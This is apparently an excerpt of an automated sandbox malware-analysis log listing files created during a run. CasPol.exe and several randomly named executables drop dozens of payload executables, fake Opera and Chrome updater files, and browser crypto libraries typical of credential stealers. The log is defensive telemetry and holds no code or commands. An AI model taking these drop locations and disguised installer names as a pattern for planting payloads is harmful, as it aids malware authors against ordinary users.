            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\msvcp140.dllJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\freebl3.dllJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\softokn3.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\xin[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Opera_105.0.4970.16_Autoupdate_x64[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeFile created: C:\Users\user\AppData\Local\Temp\7zS2AC3.tmp\Install.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\setup294[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeFile created: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\41rSfwrrEtzdo8l6hDX9qUIY.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\OUk0jc7FyA7JiXBcKBsav4Ex.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\umhbJjT22X2dBDA8G8Ex8Mum.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\Xkv4Yy91IYUWlrxVDJ9pNrAt.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\ikxtQFXRCEfEHQTLmAUzD8qT.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\nql3mTXVYbBdwRCyxTdPASFH.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mozglue[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\TuMaHDPzxpAHNRHHe8lrgtR8.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\jjgHySnKRf0NbElCZVSQsmlU.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\FQZj93JMuVq0BS5wWbmLlvdz.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\msvcp140[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\bIcj5NJCkkIc9XclTK9WXZLS.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\6D0wEbfp4dy4jAN7wi8NeRqk.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\yiUYZEb7lMWdy4BiiNcsQQJX.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\TNpJBjREJ9Gyf03FTGsVwgMm.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\1mdoluAIy6r3F43oFWoG2Z1G.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\wzL7YtWHPdRZ8NMx9zj6roAO.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\vgRJuNFVl7G0nCRX5ErRiSV0.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\nss3.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\GpflmvanezvTQUdAxFgnanZZ.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\99Xilbvd4jSilvCMPk8Sud3T.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\tuwxsmmkPgY2E0qU41YG7RXX.exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412299612284.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\IgLVruhTQwPebTeeX6NZCbz1.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\kU3XrqGZNssn3brmhPHjP88a.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\av4uoJUKtp0Dae50mONtR9f9.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\nAYvFI55VRrTI2EB1vGUUN7i.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\8TF9AtsMAWKytLiZaNJGNowl.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\kvNC7tDmYUgdIYLH90ijrXsg.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\k0pYXiEKtAOcp0Nk17UQ5_g3.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\VNjvZol8PlRMOfu5WlQLfgQN.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\3zo1tV5f3Ay9BnN3gEE89S3s.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\uScPA2mexaYLqHB3aMjewISk.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\qzdHRnL14SmqTwYSc4zayuZy.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\BRaFXbmvcphOkoXIZ6VZLdvL.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\XIP5yv6jsSsJrnkuXRlubTEg.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\a00oNFnYUapr4qcZYFTTBItp.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\eahQfcDSk2Fi3XgQUppzGpDN.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\msvcp140.dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\build[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\1Pr2wNZB1b6nfW4H5bxYRlKb.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\sqlite3[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\jf03kWzRd1Y8NYHdcHEpAddx.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\4f5Nx5TIr9aFLxNLjJPgXzZC.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\YD9zE2itWi7M0MjuwQoyJNq3.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Service_32[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\vXAyxin9GdGRVJbV0cVRgeZy.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\ss18o36u7ZpVeBt30wfMc6QL.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\t0HvpFnGKfslo4cGMsCK308u.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\j4PByMYVUXG02LUhnYCAO1Ii.exeJump to dropped file
            Source: C:\Users\user\Pictures\AdivwWrpQRED15lxH0DgRVgj.exeFile created: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\IgULl9WjdOj8mJztw0uHvxbW.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\MU7AyJXazu2eUzmvWRSMabWh.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\eKj7ykPTdurhRDTikGCPfMkr.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exeJump to dropped file
            Source: C:\Users\user\Pictures\3igcf6uAz0sWTHiwyuTtf5S5.exeFile created: C:\Program Files\Google\Chrome\updater.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\7vGVJ4vo69rcWRQudRLDXauN.exeJump to dropped file
            Source: C:\Users\user\Pictures\LnQdFAFVk46H7elzEZZ3Xdvx.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\LnQdFAFVk46H7elzEZZ3Xdvx.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\pO9O069hprtxLGedb5CFsbLO.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\HRRT0RMuxgFA6Ej0EVnWrxGq.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\5zZpiaRyAwCkDYAcy3rJRYSk.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\kSoeiDedOAsNYRmhaJ0MUJfS.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\qazyFwc5egFZzR0N8tqSvKmm.exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412307813128.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\nss3[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\gfhvq0lCOSbYQVB1nKgfu6Hp.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\36b88b89v[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\6Y6HZLXw0Y38mRwaQb51f9Xr.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\uu6QpglSdgLwfavYe0Q48iRO.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\MCSU0hpYCBYwreTAx2gvQqTW.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\ghRQ9o9v0E1RiBJYsVlARkCv.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\BBqYMraWtNak9E70T03xv71q.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\b7rS22mUxj3RgBOeSVcYPglZ.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\674Kdwx0QZ5HYr8oith6hwyE.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\4hEl5UUyWTEkI93Zbzcn8KjL.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\TYAlD9K38T8WbNsaQQTkm89X.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\nZyDVnEdKbWT6VJAEI93BfTp.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\mozglue.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\dGDzhUFIRKv6GPXQTIFzAmvz.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\8AbV0HUy7VtZhy8wnNLXmsko.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\JJ3cNx9vKHcCuMyuszfvJls9.exeJump to dropped file
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeFile created: C:\Users\user\AppData\Local\Temp\HMvTITvwCIIOPWHKa\dvQXzghxGoSBWXp\flBIeyQ.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\UV2ekc96ueAaOxPpQGhh8Pd0.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\WVaSUNuxBDiOsviBr0A0knGj.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\TEhCDDZR3kab9b6eJrW6Zmon.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\Dx8BL3JGqSY2hu2cpbycpB37.exeJump to dropped file
            Source: C:\Users\user\AppData\Local\Temp\7zSCD80.tmp\Install.exeFile created: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\QsTe5POhA2TpmBwMLub9ymVB.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\xaRtMl281tBvEQLxjcEm29sg.exeJump to dropped file
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412549847716.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\q3wz7sJmTQgL2ejSFHqUOz9e.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\timeSync[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\softokn3.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\SqalFpG888aZxKTidsmLhW66.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\6V2xKGSdzZOG2l67fqdIp9iJ.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\hgwfufOe3R4R5MGcSn4VNNng.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\Dd4nzJ5vUMeQnN3MK6ZRgV3f.exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exeJump to dropped file
            Source: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412316924080.dllJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412344515864.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\TEhuAzeHGIKa58PbdimMPWMQ.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\KTrOP3dHFImCgksUms5y6GT0.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\V77ImAzjtVAt7W94zmw0o9VA.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\vTVX1iVz5ykXIf2WVHggfoE1.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\cfFApIZxb8kkHuTB0N89Kc85.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\NMVWvUSYQ5v8UtFVuNmXDI3v.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\b4zg4yZEcBA3hWZ7TCSqnxRv.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\NrSR7wL9a6ScJhHM3ZR1vnHv.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\mVd8JjiAeizZqfVE2Y07H3YG.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\fvOd5pvADdxILNx2P8qpoMRr.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\GckHmHzvxMyOVH2C2DacdLqs.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\YGRs52NUZm6ZTeu1K4eZCg73.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\Uh63v7VRNzUECDRm8xH2VdbS.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\ProgramData\freebl3.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\DmQpa169gKNUW68eMJzuiNW0.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\sgT91h1OakHt6BAnyK2HYdhK.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\5U7pU4qonDh086kabD4VqfeM.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\lx1ggIRPyoQP8uRSWNRnkZlF.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\l2VGlkyVE7xUJ5Ydz5l8CsC0.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\qdAZRB67pUDSB4XELDqUzkpA.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\AwrGvSh0VNKMWo4lmCJZrqGt.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\RRe1rhCZ16opf2KOV6fOjlXA.exeJump to dropped file
            Source: C:\Users\user\Pictures\OPqTdTFbxWlK6znimRD995XD.exeFile created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\OPqTdTFbxWlK6znimRD995XD.exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeFile created: C:\Users\user\AppData\Local\Temp\Opera_installer_2311211412373835848.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\wPTezzgL34kfssQVp6uEza55.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\wwJcXZC0IBum93LDA1ZMzXtI.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\LIMPKWkTxHbhz8UQouDq3EgS.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\36zVB2iUP7gf6aRwVtLyHdF2.exeJump to dropped file
            Source: C:\Users\user\AppData\Local\Temp\7zSD77.tmp\Install.exeFile created: C:\Users\user\AppData\Local\Temp\7zS20C1.tmp\Install.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\TcGLfdTBaos9JgPXgH8pOdVr.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\loKi89nha4JKgsufhuKQ22oF.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\pMwJfWjrgWqYhqUsQy3kovLv.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\bsjI0DIR0uTLrijb320XXGIp.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\oPsY54K8dfpMIWUfMwWVjb8v.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\O1pHCqcpXPsB2X19IwAi5F3Z.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\37Xh5AWBBTFPX7DCQvpQDJWI.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\ohQpGh89_DKtYLyMVbmJ3Rtn.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\xgYlvCudFc3GJuvg0bXJwObm.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\AppData\Local\FpP9TKUra38F8BD04FwCoPto.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\q1fbqWmUkeV1isNfzfpkGonN.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile created: C:\Users\user\Pictures\jmqKcbM6AONnRhvOZmBZdvm3.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\freebl3[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeFile created: C:\Users\user\Pictures\Minor Policy\0V9EbnB8e6ebVrU36pWfpYPt.exeJump to dropped file
